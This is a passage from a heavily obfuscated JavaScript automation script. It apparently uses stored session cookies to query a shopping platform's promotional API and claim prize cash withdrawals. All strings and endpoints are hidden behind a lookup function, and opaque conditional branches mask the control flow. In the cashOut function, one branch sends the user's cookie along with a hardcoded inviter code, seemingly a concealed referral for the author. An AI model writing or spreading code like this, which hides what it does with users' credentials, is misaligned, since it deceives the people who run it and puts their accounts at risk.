_0x59eaa1[_0x1526('‫11d')](_0x5ceceb,_0x412809);},'SIAQI':_0x59eaa1[_0x1526('‮11e')],'wlBTX':_0x59eaa1[_0x1526('‫11f')],'JVCCx':_0x59eaa1[_0x1526('‮120')],'xxxAr':function(_0xf57cf9,_0x20143d,_0x1288ac,_0x485d43,_0x2d97d2){return _0x59eaa1[_0x1526('‫121')](_0xf57cf9,_0x20143d,_0x1288ac,_0x485d43,_0x2d97d2);},'RdOYi':_0x59eaa1[_0x1526('‫122')],'gpxri':_0x59eaa1[_0x1526('‫123')],'TakAW':_0x59eaa1[_0x1526('‫124')],'EiOet':function(_0x2f8039,_0x4f1d88){return _0x59eaa1[_0x1526('‫11a')](_0x2f8039,_0x4f1d88);}};const _0x1646d5={'linkId':signLinkId,'serviceName':_0x59eaa1[_0x1526('‫125')],'business':0x1,'pageSize':0x14,'page':0x1};$[_0x1526('‮78')](_0x59eaa1[_0x1526('‮126')](taskPostUrl,_0x59eaa1[_0x1526('‮127')],_0x1646d5),async(_0x54b410,_0x152aaf,_0x4d4fed)=>{try{if(_0x54b410){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x54b410));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x245887[_0x1526('‮128')](safeGet,_0x4d4fed)){_0x4d4fed=$[_0x1526('‮7c')](_0x4d4fed);if(_0x245887[_0x1526('‮129')](_0x4d4fed[_0x1526('‫7e')],0x0)){if(_0x245887[_0x1526('‫12a')](_0x4d4fed[_0x1526('‮82')][_0x1526('‫7e')],0x0)){const _0x49916e=(_0x4d4fed[_0x1526('‮82')][_0x1526('‫12b')][_0x1526('‫106')]||[])[_0x1526('‫17')](_0x585778=>_0x585778[_0x1526('‮e0')]===0x4&&_0x585778[_0x1526('‮12c')]===0x0);for(let _0x43987f of _0x49916e){if(_0x245887[_0x1526('‫12d')](_0x245887[_0x1526('‫12e')],_0x245887[_0x1526('‮12f')])){console[_0x1526('‫c')](_0x1526('‫130')+_0x43987f[_0x245887[_0x1526('‫131')]]+_0x1526('‫132'));message+=_0x1526('‫130')+_0x43987f[_0x245887[_0x1526('‫131')]]+_0x1526('‫10f');await _0x245887[_0x1526('‮133')](apCashWithDraw,_0x43987f['id'],_0x43987f[_0x245887[_0x1526('‮134')]],_0x43987f[_0x245887[_0x1526('‫135')]],_0x43987f[_0x245887[_0x1526('‫136')]]);}else{$[_0x1526('‮22')](e,_0x152aaf);}}}else{console[_0x1526('‫c')](_0x1526('‫b5')+JSON[_0x1526('‫d')](_0x4d4fed)+'\x0a');}}else{console[_0x1526('‫c')](_0x1526('‫e7')+JSON[_0x1526('‫d')](_0x4d4fed)+'\x0a');}}}}catch(_0x495776){$[_0x1526('‮22')](_0x495776,_0x152aaf);}finally{_0x245887[_0x1526('‮137')](_0x1f8f6c,_0x4d4fed);}});});}function apCashWithDraw(_0x339a7b,_0xafcb5e,_0x562bac,_0x4d272d){var _0x7a0177={'egNTp':function(_0x72188b,_0x2b7d94){return _0x72188b(_0x2b7d94);},'WtJCA':function(_0x44afa2,_0x45a893){return _0x44afa2!==_0x45a893;},'rRhtn':_0x1526('‮138'),'qwItC':function(_0x35f6b3,_0x19cc18){return _0x35f6b3===_0x19cc18;},'fiMsI':_0x1526('‫139'),'edGtp':function(_0x17eee2,_0x89a5ac){return _0x17eee2===_0x89a5ac;},'KfCHJ':_0x1526('‮13a'),'EqDCx':_0x1526('‫13b'),'ZOiBM':_0x1526('‮13c'),'FAgrd':function(_0x4b55c0,_0x3d4e03,_0x4e9e9e){return _0x4b55c0(_0x3d4e03,_0x4e9e9e);},'kSNmp':_0x1526('‫13d')};return new Promise(_0x58987c=>{var _0x1f7e5b={'KIoFq':function(_0x17c375,_0x32ec77){return _0x7a0177[_0x1526('‫13e')](_0x17c375,_0x32ec77);},'BHeyp':function(_0x30525e,_0x4c5b3f){return _0x7a0177[_0x1526('‮13f')](_0x30525e,_0x4c5b3f);},'YJpOP':_0x7a0177[_0x1526('‫140')],'HovXc':function(_0x4bdb22,_0x5cfbf9){return _0x7a0177[_0x1526('‫141')](_0x4bdb22,_0x5cfbf9);},'VJrtB':_0x7a0177[_0x1526('‮142')],'LbYEn':function(_0x100230,_0x2cc1f7){return _0x7a0177[_0x1526('‫143')](_0x100230,_0x2cc1f7);},'bWKKG':_0x7a0177[_0x1526('‫144')]};const _0x3d08d3={'linkId':signLinkId,'businessSource':_0x7a0177[_0x1526('‫145')],'base':{'prizeType':0x4,'business':_0x7a0177[_0x1526('‮146')],'id':_0x339a7b,'poolBaseId':_0xafcb5e,'prizeGroupId':_0x562bac,'prizeBaseId':_0x4d272d}};$[_0x1526('‮78')](_0x7a0177[_0x1526('‫147')](taskPostUrl,_0x7a0177[_0x1526('‮148')],_0x3d08d3),async(_0x562f13,_0x3127ac,_0x54b143)=>{try{if(_0x562f13){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x562f13));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x1f7e5b[_0x1526('‮149')](safeGet,_0x54b143)){if(_0x1f7e5b[_0x1526('‮14a')](_0x1f7e5b[_0x1526('‫14b')],_0x1f7e5b[_0x1526('‫14b')])){$[_0x1526('‮22')](e,_0x3127ac);}else{_0x54b143=$[_0x1526('‮7c')](_0x54b143);if(_0x1f7e5b[_0x1526('‮14c')](_0x54b143[_0x1526('‫7e')],0x0)){if(_0x1f7e5b[_0x1526('‮14c')](_0x54b143[_0x1526('‮82')][_0x1526('‮14d')],_0x1f7e5b[_0x1526('‫14e')])){if(_0x1f7e5b[_0x1526('‮14f')](_0x1f7e5b[_0x1526('‫150')],_0x1f7e5b[_0x1526('‫150')])){console[_0x1526('‫c')](_0x1526('‮151'));message+=_0x1526('‮151');}else{$[_0x1526('‮43')]();}}else{console[_0x1526('‫c')](_0x1526('‫10b')+JSON[_0x1526('‫d')](_0x54b143)+'\x0a');}}else{console[_0x1526('‫c')](_0x1526('‫152')+JSON[_0x1526('‫d')](_0x54b143)+'\x0a');}}}}}catch(_0x2c7f16){$[_0x1526('‮22')](_0x2c7f16,_0x3127ac);}finally{_0x1f7e5b[_0x1526('‮149')](_0x58987c,_0x54b143);}});});}function cashOut(_0x3ed2c8,_0xbee00a,_0x204d78,_0x40b5de){var _0x1c0982={'xKEOw':_0x1526('‮153'),'Rmvpo':_0x1526('‮154'),'xsMfA':function(_0x11b7d4,_0x3f9789){return _0x11b7d4*_0x3f9789;},'iKRTE':_0x1526('‮155'),'UFcRy':_0x1526('‫156'),'BQwHQ':function(_0x964b8c,_0x4297a1){return _0x964b8c(_0x4297a1);},'XXjHV':_0x1526('‮5a'),'WYTGD':_0x1526('‮5b'),'cWEzG':_0x1526('‫5c'),'uhozp':_0x1526('‮157'),'jLlpy':_0x1526('‫5e'),'rCnHD':_0x1526('‮5f'),'RNsRR':_0x1526('‮60'),'VaTsA':_0x1526('‮61'),'FRlFJ':_0x1526('‮158'),'bdLZk':_0x1526('‮63'),'ZNfZd':function(_0x274d52,_0x4813ca){return _0x274d52===_0x4813ca;},'tlfdw':_0x1526('‮159'),'HGqyF':_0x1526('‫15a'),'qGPfG':_0x1526('‫15b'),'bLZuK':_0x1526('‫15c'),'rolnh':function(_0x1bba01,_0x3eb5b4){return _0x1bba01===_0x3eb5b4;},'SUdVD':_0x1526('‮82'),'YWgPp':_0x1526('‮14d'),'GZmok':_0x1526('‫139'),'fKXha':function(_0x4837e3,_0x623beb){return _0x4837e3===_0x623beb;},'cElAl':_0x1526('‮15d'),'iNQhD':_0x1526('‫15e'),'rBuwS':_0x1526('‫8e'),'Zpqrp':function(_0x96a06,_0x3cf586){return _0x96a06===_0x3cf586;},'uamlM':_0x1526('‮15f'),'AkJHf':_0x1526('‮160'),'HJwYb':function(_0x196fdd,_0x31878b){return _0x196fdd(_0x31878b);},'PBtZh':_0x1526('‫12'),'UQqmv':_0x1526('‫13'),'rfcvp':function(_0x1ed05e,_0x5beafd){return _0x1ed05e(_0x5beafd);},'xHqwX':_0x1526('‫14'),'AAYRe':_0x1526('‫161'),'GWlnG':function(_0x9b48e2,_0x3927df,_0x2643eb){return _0x9b48e2(_0x3927df,_0x2643eb);},'wYyJX':_0x1526('‫13d'),'JEYah':_0x1526('‫162')};let _0x8084f8={'businessSource':_0x1c0982[_0x1526('‫163')],'base':{'id':_0x3ed2c8,'business':null,'poolBaseId':_0xbee00a,'prizeGroupId':_0x204d78,'prizeBaseId':_0x40b5de,'prizeType':0x4},'linkId':linkId,'inviter':''};return new Promise(_0x3a20d1=>{var _0x26f3f3={'FQMdg':_0x1c0982[_0x1526('‫164')],'UPdeC':_0x1c0982[_0x1526('‮165')],'SKyFI':function(_0x4dbd03,_0x261a2a){return _0x1c0982[_0x1526('‮166')](_0x4dbd03,_0x261a2a);},'fStwi':_0x1c0982[_0x1526('‫167')]};if(_0x1c0982[_0x1526('‫168')](_0x1c0982[_0x1526('‮169')],_0x1c0982[_0x1526('‮169')])){$[_0x1526('‮78')](_0x1c0982[_0x1526('‮16a')](taskPostUrl,_0x1c0982[_0x1526('‮16b')],_0x8084f8),async(_0x2ad5c3,_0x3b035e,_0xdb1cc2)=>{var _0x56e2fd={'SKthY':_0x1c0982[_0x1526('‮16c')],'PEzmS':_0x1c0982[_0x1526('‮16d')],'TMcQM':function(_0x4a2d3f,_0x55948b){return _0x1c0982[_0x1526('‫16e')](_0x4a2d3f,_0x55948b);},'aqcVN':_0x1c0982[_0x1526('‫16f')],'RouFL':_0x1c0982[_0x1526('‫170')],'CMXjN':function(_0x152c0a,_0x341e4e){return _0x1c0982[_0x1526('‫171')](_0x152c0a,_0x341e4e);},'QbGIX':_0x1c0982[_0x1526('‮172')],'anBij':_0x1c0982[_0x1526('‫173')],'MQAvE':_0x1c0982[_0x1526('‮174')],'OAlEW':_0x1c0982[_0x1526('‮175')],'CSYyB':_0x1c0982[_0x1526('‫176')],'CGbhM':_0x1c0982[_0x1526('‫177')],'Mbdzx':_0x1c0982[_0x1526('‫178')],'AsiXz':_0x1c0982[_0x1526('‫179')],'DtMdy':_0x1c0982[_0x1526('‫17a')],'iXyMC':_0x1c0982[_0x1526('‮17b')]};if(_0x1c0982[_0x1526('‫17c')](_0x1c0982[_0x1526('‫17d')],_0x1c0982[_0x1526('‫17e')])){return JSON[_0x1526('‫3d')](str);}else{try{if(_0x2ad5c3){if(_0x1c0982[_0x1526('‫17c')](_0x1c0982[_0x1526('‮17f')],_0x1c0982[_0x1526('‮180')])){cookiesArr=[$[_0x1526('‫11')](_0x26f3f3[_0x1526('‫181')]),$[_0x1526('‫11')](_0x26f3f3[_0x1526('‮182')]),..._0x26f3f3[_0x1526('‫183')](jsonParse,$[_0x1526('‫11')](_0x26f3f3[_0x1526('‫184')])||'[]')[_0x1526('‫15')](_0x5875e4=>_0x5875e4[_0x1526('‫16')])][_0x1526('‫17')](_0x333e66=>!!_0x333e66);}else{console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x2ad5c3));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}}else{if(_0x1c0982[_0x1526('‫171')](safeGet,_0xdb1cc2)){console[_0x1526('‫c')](_0x1526('‮185')+_0xdb1cc2);_0xdb1cc2=JSON[_0x1526('‫3d')](_0xdb1cc2);if(_0x1c0982[_0x1526('‫17c')](_0xdb1cc2[_0x1526('‫7e')],0x0)){if(_0x1c0982[_0x1526('‫186')](_0xdb1cc2[_0x1c0982[_0x1526('‫187')]][_0x1c0982[_0x1526('‮188')]],_0x1c0982[_0x1526('‮189')])){console[_0x1526('‫c')](_0x1526('‫18a'));message+=_0x1526('‮18b');}else{if(_0x1c0982[_0x1526('‫18c')](_0x1c0982[_0x1526('‮18d')],_0x1c0982[_0x1526('‮18d')])){console[_0x1526('‫c')](_0x1526('‫18e')+_0xdb1cc2[_0x1c0982[_0x1526('‫187')]][_0x1c0982[_0x1526('‮18f')]]);message+=_0x1526('‫18e')+_0xdb1cc2[_0x1c0982[_0x1526('‫187')]][_0x1c0982[_0x1526('‮18f')]];}else{$[_0x1526('‮190')]=_0x56e2fd[_0x1526('‫191')];const _0x19494a=[_0x56e2fd[_0x1526('‫192')]];let _0x5b8b62=_0x19494a[Math[_0x1526('‮ac')](_0x56e2fd[_0x1526('‫193')](Math[_0x1526('‮ae')](),_0x19494a[_0x1526('‫28')]))];let _0x307894={'url':_0x56e2fd[_0x1526('‮194')],'body':_0x1526('‮195')+JSON[_0x1526('‫d')]({'method':_0x56e2fd[_0x1526('‫196')],'data':{'channel':'1','encryptionInviterPin':_0x56e2fd[_0x1526('‮197')](encodeURIComponent,_0x5b8b62),'type':0x1}})+_0x1526('‮198')+Date[_0x1526('‫ec')](),'headers':{'Host':_0x56e2fd[_0x1526('‫199')],'Accept':_0x56e2fd[_0x1526('‫19a')],'Content-Type':_0x56e2fd[_0x1526('‫19b')],'Origin':_0x56e2fd[_0x1526('‫19c')],'Accept-Language':_0x56e2fd[_0x1526('‮19d')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x56e2fd[_0x1526('‮197')](require,_0x56e2fd[_0x1526('‮19e')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x56e2fd[_0x1526('‫19f')])?$[_0x1526('‫11')](_0x56e2fd[_0x1526('‫19f')]):_0x56e2fd[_0x1526('‫1a0')],'Referer':_0x56e2fd[_0x1526('‫1a1')],'Accept-Encoding':_0x56e2fd[_0x1526('‮1a2')],'Cookie':cookie}};$[_0x1526('‮78')](_0x307894,(_0xab3c2d,_0x1e5236,_0x1aab65)=>{});}}}else{console[_0x1526('‫c')](_0x1526('‫1a3')+_0xdb1cc2[_0x1c0982[_0x1526('‮1a4')]]);}}}}catch(_0x4c2d54){if(_0x1c0982[_0x1526('‫168')](_0x1c0982[_0x1526('‮1a5')],_0x1c0982[_0x1526('‫1a6')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x2ad5c3));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{$[_0x1526('‮22')](_0x4c2d54,_0x3b035e);}}finally{_0x1c0982[_0x1526('‫1a7')](_0x3a20d1,_0xdb1cc2);}}});}else{$[_0x1526('‮22')](err);}});}function taskPostUrl(_0xe4a566,_0x191ecb){var _0x21aa22={'jsLYo':function(_0x477a10,_0x2abddc){return _0x477a10(_0x2abddc);},'LtSxk':_0x1526('‮5a'),'NrUfW':_0x1526('‮5b'),'dEwEc':_0x1526('‫5c'),'zzYpd':_0x1526('‫5d'),'vsmIw':_0x1526('‫5e'),'Bwznc':_0x1526('‮5f'),'zviiB':_0x1526('‮60'),'bWNUR':_0x1526('‮61'),'dTJxk':_0x1526('‫62'),'vJOSm':_0x1526('‮63')};return{'url':_0x1526('‮155'),'body':_0x1526('‫1a8')+_0xe4a566+_0x1526('‮e9')+_0x21aa22[_0x1526('‮1a9')](encodeURIComponent,JSON[_0x1526('‫d')](_0x191ecb))+_0x1526('‫eb')+ +new Date()+_0x1526('‫1aa'),'headers':{'Host':_0x21aa22[_0x1526('‮1ab')],'Accept':_0x21aa22[_0x1526('‫1ac')],'Content-Type':_0x21aa22[_0x1526('‫1ad')],'Origin':_0x21aa22[_0x1526('‫1ae')],'Accept-Language':_0x21aa22[_0x1526('‮1af')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x21aa22[_0x1526('‮1a9')](require,_0x21aa22[_0x1526('‫1b0')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x21aa22[_0x1526('‫1b1')])?$[_0x1526('‫11')](_0x21aa22[_0x1526('‫1b1')]):_0x21aa22[_0x1526('‫1b2')],'Referer':_0x21aa22[_0x1526('‫1b3')],'Accept-Encoding':_0x21aa22[_0x1526('‮1b4')],'Cookie':cookie}};}function taskGetUrl(_0x2520eb,_0x49927b){var _0x3344c0={'culkx':function(_0x569e36,_0x2bdbfd){return _0x569e36(_0x2bdbfd);},'QLvyr':_0x1526('‮5a'),'rCpnM':_0x1526('‮5b'),'soelV':_0x1526('‫c1'),'ldoOO':_0x1526('‮63'),'WOzAP':_0x1526('‮5f'),'lyBhg':_0x1526('‮60'),'jtZbb':_0x1526('‮61'),'LpbbS':_0x1526('‫5e'),'DTxtC':_0x1526('‫c2')};return{'url':_0x1526('‫e8')+_0x2520eb+_0x1526('‮e9')+_0x3344c0[_0x1526('‮1b5')](encodeURIComponent,JSON[_0x1526('‫d')](_0x49927b))+_0x1526('‫eb')+Date[_0x1526('‫ec')]()+_0x1526('‮ed'),'headers':{'Host':_0x3344c0[_0x1526('‫1b6')],'Accept':_0x3344c0[_0x1526('‫1b7')],'Origin':_0x3344c0[_0x1526('‫1b8')],'Accept-Encoding':_0x3344c0[_0x1526('‮1b9')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x3344c0[_0x1526('‮1b5')](require,_0x3344c0[_0x1526('‫1ba')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x3344c0[_0x1526('‮1bb')])?$[_0x1526('‫11')](_0x3344c0[_0x1526('‮1bb')]):_0x3344c0[_0x1526('‫1bc')],'Accept-Language':_0x3344c0[_0x1526('‫1bd')],'Referer':_0x3344c0[_0x1526('‮1be')],'Cookie':cookie}};}function TotalBean(){var _0xc796e={'qMxSf':function(_0x521f50,_0x14122c){return _0x521f50>_0x14122c;},'YrYjr':function(_0x5ab148,_0x5120b0){return _0x5ab148!==_0x5120b0;},'rXSyw':function(_0x163f24){return _0x163f24();},'laNnN':_0x1526('‮1bf'),'yhTde':_0x1526('‮1c0'),'osMxV':_0x1526('‮1c1'),'gMtZk':_0x1526('‫1c2'),'wUGAU':function(_0x2de951,_0x16066d){return _0x2de951!=_0x16066d;},'VZZBs':function(_0x4788ec,_0x19b9bc){return _0x4788ec instanceof _0x19b9bc;},'OZQeG':function(_0x573f28,_0x1ba2ba){return _0x573f28===_0x1ba2ba;},'EAnCO':_0x1526('‮1c3'),'lxRJa':_0x1526('‫1c4'),'HiQHe':_0x1526('‮1c5'),'vrGER':_0x1526('‫1c6'),'ZnLZz':_0x1526('‮94'),'pvbfz':_0x1526('‫95'),'QTaJx':_0x1526('‫96'),'CjtbD':_0x1526('‮1c7'),'RaHXO':_0x1526('‫1c8'),'rshQv':_0x1526('‫ba'),'KUAzP':_0x1526('‮1c9'),'lBYfW':_0x1526('‮1ca'),'timOl':_0x1526('‮1cb'),'cocJn':_0x1526('‫1cc'),'mjHSr':function(_0x5ea935,_0x286d05){return _0x5ea935(_0x286d05);},'UWUBZ':_0x1526('‫1cd'),'EyRdX':_0x1526('‮1ce'),'UwlzL':_0x1526('‫1cf'),'kwhvQ':_0x1526('‫1d0'),'YrZzM':_0x1526('‫1d1'),'HEKSV':_0x1526('‮63')};return new Promise(async _0x16018c=>{var _0x852802={'tqcDO':function(_0x27ca2a,_0x183cdd){return _0xc796e[_0x1526('‮1d2')](_0x27ca2a,_0x183cdd);},'ZxfqM':function(_0x35f0cf,_0xdaf8d3){return _0xc796e[_0x1526('‮1d3')](_0x35f0cf,_0xdaf8d3);},'jlNlX':function(_0x2666d8){return _0xc796e[_0x1526('‫1d4')](_0x2666d8);},'TlAro':_0xc796e[_0x1526('‫1d5')],'EEeoD':_0xc796e[_0x1526('‫1d6')],'jOnqK':_0xc796e[_0x1526('‫1d7')],'QFkMa':_0xc796e[_0x1526('‫1d8')],'DilPX':function(_0xb8cb8b,_0x24793c){return _0xc796e[_0x1526('‫1d9')](_0xb8cb8b,_0x24793c);},'Wclzo':function(_0x598e47,_0x1ffc5b){return _0xc796e[_0x1526('‫1da')](_0x598e47,_0x1ffc5b);},'Eibjv':function(_0x341326,_0x5e6e16){return _0xc796e[_0x1526('‫1db')](_0x341326,_0x5e6e16);},'UqiOe':function(_0x5c02ee,_0x48e9f9){return _0xc796e[_0x1526('‫1db')](_0x5c02ee,_0x48e9f9);},'flIPV':_0xc796e[_0x1526('‮1dc')],'Dvbyl':_0xc796e[_0x1526('‫1dd')],'aXicF':_0xc796e[_0x1526('‮1de')],'rRvGz':_0xc796e[_0x1526('‮1df')],'oaUQk':function(_0xa0cb5,_0x460d12){return _0xc796e[_0x1526('‫1db')](_0xa0cb5,_0x460d12);},'IORMx':_0xc796e[_0x1526('‫1e0')],'eIsmu':_0xc796e[_0x1526('‮1e1')],'ZwUIz':function(_0x34c122,_0x79e125){return _0xc796e[_0x1526('‫1db')](_0x34c122,_0x79e125);},'aNJvm':_0xc796e[_0x1526('‫1e2')],'PnCMW':_0xc796e[_0x1526('‫1e3')],'IWLcl':_0xc796e[_0x1526('‫1e4')],'vTkqE':_0xc796e[_0x1526('‮1e5')]};const _0x7c211f={'url':_0xc796e[_0x1526('‫1e6')],'headers':{'Host':_0xc796e[_0x1526('‫1e7')],'Accept':_0xc796e[_0x1526('‮1e8')],'Connection':_0xc796e[_0x1526('‫1e9')],'Cookie':cookie,'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮1ea')]?process[_0x1526('‫9')][_0x1526('‮1ea')]:_0xc796e[_0x1526('‫1eb')](require,_0xc796e[_0x1526('‫1ec')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0xc796e[_0x1526('‮1ed')])?$[_0x1526('‫11')](_0xc796e[_0x1526('‮1ed')]):_0xc796e[_0x1526('‫1ee')],'Accept-Language':_0xc796e[_0x1526('‫1ef')],'Referer':_0xc796e[_0x1526('‮1f0')],'Accept-Encoding':_0xc796e[_0x1526('‮1f1')]}};$[_0x1526('‮a8')](_0x7c211f,(_0x28e18d,_0xe1ef39,_0xa2a9d8)=>{var _0x49a706={'NQPbm':function(_0xb307cd,_0x1d2fcb){return _0x852802[_0x1526('‫1f2')](_0xb307cd,_0x1d2fcb);},'YLLQg':function(_0x3ae445,_0x5b5fd0){return _0x852802[_0x1526('‮1f3')](_0x3ae445,_0x5b5fd0);},'qtEtR':function(_0x45e180,_0x32112a){return _0x852802[_0x1526('‮1f3')](_0x45e180,_0x32112a);},'WNnKP':function(_0xac991c,_0x6e0258){return _0x852802[_0x1526('‮1f4')](_0xac991c,_0x6e0258);},'DXuAc':function(_0x1ef6c9,_0x14d777){return _0x852802[_0x1526('‮1f5')](_0x1ef6c9,_0x14d777);}};try{if(_0x28e18d){if(_0x852802[_0x1526('‮1f6')](_0x852802[_0x1526('‫1f7')],_0x852802[_0x1526('‫1f8')])){$[_0x1526('‮22')](_0x28e18d);}else{console[_0x1526('‫c')](_0x1526('‮8f')+JSON[_0x1526('‫d')](_0xa2a9d8)+'\x0a');}}else{if(_0x852802[_0x1526('‮1f5')](_0x852802[_0x1526('‫1f9')],_0x852802[_0x1526('‫1f9')])){if(_0xa2a9d8){if(_0x852802[_0x1526('‮1f5')](_0x852802[_0x1526('‫1fa')],_0x852802[_0x1526('‫1fa')])){_0xa2a9d8=JSON[_0x1526('‫3d')](_0xa2a9d8);if(_0x852802[_0x1526('‮1fb')](_0xa2a9d8[_0x852802[_0x1526('‫1fc')]],_0x852802[_0x1526('‮1fd')])){$[_0x1526('‫2f')]=![];return;}if(_0x852802[_0x1526('‮1fe')](_0xa2a9d8[_0x852802[_0x1526('‫1fc')]],'0')&&_0xa2a9d8[_0x1526('‮82')]&&_0xa2a9d8[_0x1526('‮82')][_0x1526('‮a4')](_0x852802[_0x1526('‮1ff')])){if(_0x852802[_0x1526('‮1fe')](_0x852802[_0x1526('‫200')],_0x852802[_0x1526('‮201')])){var _0x5e7cd5=_0x852802[_0x1526('‫202')](arguments[_0x1526('‫28')],0x0)&&_0x852802[_0x1526('‮1f6')](void 0x0,arguments[0x0])?arguments[0x0]:{},_0x1b44fe='';return Object[_0x1526('‮6')](_0x5e7cd5)[_0x1526('‮7')](function(_0x61215a){var _0x4e4f74=_0x5e7cd5[_0x61215a];_0x49a706[_0x1526('‮203')](null,_0x4e4f74)&&(_0x1b44fe+=_0x49a706[_0x1526('‫204')](_0x4e4f74,Object)||_0x49a706[_0x1526('‮205')](_0x4e4f74,Array)?''+(_0x49a706[_0x1526('‫206')]('',_0x1b44fe)?'':'&')+_0x61215a+'='+JSON[_0x1526('‫d')](_0x4e4f74):''+(_0x49a706[_0x1526('‮207')]('',_0x1b44fe)?'':'&')+_0x61215a+'='+_0x4e4f74);}),_0x1b44fe;}else{$[_0x1526('‮30')]=_0xa2a9d8[_0x1526('‮82')][_0x1526('‫96')][_0x1526('‮a6')][_0x1526('‫a7')];}}}else{if(message)$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x1526('‮36')+$[_0x1526('‮2d')]+$[_0x1526('‮30')]+'\x0a'+message);_0x852802[_0x1526('‮208')](_0x16018c);}}else{console[_0x1526('‫c')](_0x852802[_0x1526('‫209')]);}}else{res[_0x852802[_0x1526('‫20a')]]='H5';res[_0x852802[_0x1526('‫20b')]]=_0x852802[_0x1526('‫20c')];appId=_0x852802[_0x1526('‮20d')];}}}catch(_0x24c5be){$[_0x1526('‮22')](_0x24c5be);}finally{_0x852802[_0x1526('‮208')](_0x16018c);}});});}function safeGet(_0x135666){var _0x2bc267={'YbpOL':function(_0x2370e1,_0x5b57bd){return _0x2370e1==_0x5b57bd;},'AwRyA':_0x1526('‫57'),'bMbJR':function(_0x316df5,_0x51a394){return _0x316df5===_0x51a394;},'LasTv':_0x1526('‮20e'),'McfBw':_0x1526('‮20f'),'tTDFq':_0x1526('‮210')};try{if(_0x2bc267[_0x1526('‫211')](typeof JSON[_0x1526('‫3d')](_0x135666),_0x2bc267[_0x1526('‮212')])){if(_0x2bc267[_0x1526('‮213')](_0x2bc267[_0x1526('‫214')],_0x2bc267[_0x1526('‫214')])){return!![];}else{console[_0x1526('‫c')](e);console[_0x1526('‫c')](_0x1526('‫215'));return![];}}}catch(_0x757ac9){if(_0x2bc267[_0x1526('‮213')](_0x2bc267[_0x1526('‮216')],_0x2bc267[_0x1526('‮217')])){$[_0x1526('‮22')](_0x757ac9);}else{console[_0x1526('‫c')](_0x757ac9);console[_0x1526('‫c')](_0x1526('‫215'));return![];}}}function jsonParse(_0x129d35){var _0x129503={'IpRfj':function(_0x2cd02b,_0x500976){return _0x2cd02b==_0x500976;},'ldtBN':_0x1526('‮18'),'lQhSf':function(_0xd010a9,_0x5e4e8f){return _0xd010a9===_0x5e4e8f;},'uEeFM':_0x1526('‮218'),'lVfxH':_0x1526('‮19')};if(_0x129503[_0x1526('‫219')](typeof _0x129d35,_0x129503[_0x1526('‮21a')])){if(_0x129503[_0x1526('‮21b')](_0x129503[_0x1526('‫21c')],_0x129503[_0x1526('‫21c')])){try{return JSON[_0x1526('‫3d')](_0x129d35);}catch(_0x5e3dba){console[_0x1526('‫c')](_0x5e3dba);$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x129503[_0x1526('‫21d')]);return[];}}else{console[_0x1526('‫c')](_0x1526('‫152')+JSON[_0x1526('‫d')](data)+'\x0a');}}}function geth5st(_0x53bf59,_0x40a793){var _0x3d7c25={'kSOJC':function(_0x4f52b4,_0x4adb30){return _0x4f52b4!==_0x4adb30;},'pHsuz':_0x1526('‮c0'),'MzTGu':function(_0x898dbf,_0x2e4ae5){return _0x898dbf(_0x2e4ae5);},'snsvV':function(_0x39924d,_0x222982){return _0x39924d!==_0x222982;},'Hnrda':_0x1526('‮21e'),'YjRWL':_0x1526('‮21f'),'oAiFQ':_0x1526('‮220'),'VSmLi':_0x1526('‮221'),'unJlU':function(_0x3eb54b,_0x3a6b64){return _0x3eb54b===_0x3a6b64;},'ucGkT':_0x1526('‮222'),'AuwVb':_0x1526('‫223'),'FFYYX':_0x1526('‫224'),'RzzlC':function(_0x3b4de8,_0x1c977c){return _0x3b4de8!==_0x1c977c;},'rykuZ':_0x1526('‫225'),'hEZwQ':_0x1526('‫226'),'izMqI':_0x1526('‮227'),'LFDkw':function(_0x40eef3,_0x2624cc){return _0x40eef3*_0x2624cc;},'WLzgY':_0x1526('‫228'),'GtGWR':_0x1526('‮229'),'FYBZu':function(_0x8b6746,_0x1492c4){return _0x8b6746*_0x1492c4;}};return new Promise(async _0xb2788b=>{var _0x3afdfe={'IqLFc':function(_0x20d0eb,_0x5b06b7){return _0x3d7c25[_0x1526('‮22a')](_0x20d0eb,_0x5b06b7);},'SgLvY':function(_0x25838c,_0x4b5064){return _0x3d7c25[_0x1526('‫22b')](_0x25838c,_0x4b5064);},'RAdMi':_0x3d7c25[_0x1526('‫22c')],'Xqygi':_0x3d7c25[_0x1526('‮22d')],'Lofvc':_0x3d7c25[_0x1526('‫22e')],'pvfLv':_0x3d7c25[_0x1526('‮22f')],'njudN':function(_0x4daa21,_0x597601){return _0x3d7c25[_0x1526('‫230')](_0x4daa21,_0x597601);},'Pdwdh':_0x3d7c25[_0x1526('‫231')],'JHwyT':_0x3d7c25[_0x1526('‮232')]};let _0x2703c0={'appId':_0x53bf59,'body':_0x40a793};let _0x4aeda2='';let 